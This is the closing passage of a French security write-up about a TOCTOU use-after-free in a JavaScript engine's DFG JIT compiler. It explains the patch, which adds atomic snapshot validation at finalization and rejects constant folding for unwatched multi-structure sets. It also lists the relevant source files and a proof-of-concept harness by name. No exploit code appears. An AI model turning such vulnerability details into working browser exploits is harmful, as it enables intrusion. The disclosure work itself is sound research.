Cela transforme le TOCTOU en une vérification atomique : l'instantané du compilateur est validé à un point de synchronisation (finalisation sur le thread principal) avant que le code optimisé ne soit installé. L'UAF de `freeze()` peut toujours se produire pendant la compilation, mais le code résultant n'est jamais utilisé.

Pour les ensembles multi-structures, le `tryGetConstantProperty()` corrigé rejette également tout le constant folding lorsque `structureSet.size() > 1` et que toutes les structures ne sont pas activement surveillées. Cela élimine l'attaque par transition transitive S1→S2→S3 à la source.

---

## 9. Fichiers

| File | Description |
|------|-------------|
| `toctou_clean_asan_v2.js` | Harnais JavaScript de preuve de concept |
| `DFGGraph.cpp` | Fonction vulnérable (`tryGetConstantProperty`), `freeze()` et instrumentation de recherche |
| `DFGFrozenValue.h` | `FrozenValue::freeze()` — le point de déréférencement de la cellule |
| `DFGByteCodeParser.cpp` | Site d'appel de `weakJSConstant()` |
| `DFGConstantFoldingPhase.cpp` | Site d'appel de `emitGetByOffset()` |
| `DFGAbstractInterpreterInlines.h` | Site d'appel de l'interpréteur abstrait |
| `SlotVisitorInlines.h` | `appendHiddenUnbarriered()` — site de crash du marquage GC |
| `MarkedBlock.h` | `aboutToMark()` — là où le SEGV se produit |
| `JSLock.cpp` | `didAcquireLock()` — montre que les threads DFG ne sont pas enregistrés auprès du GC |
Télécharger l’outil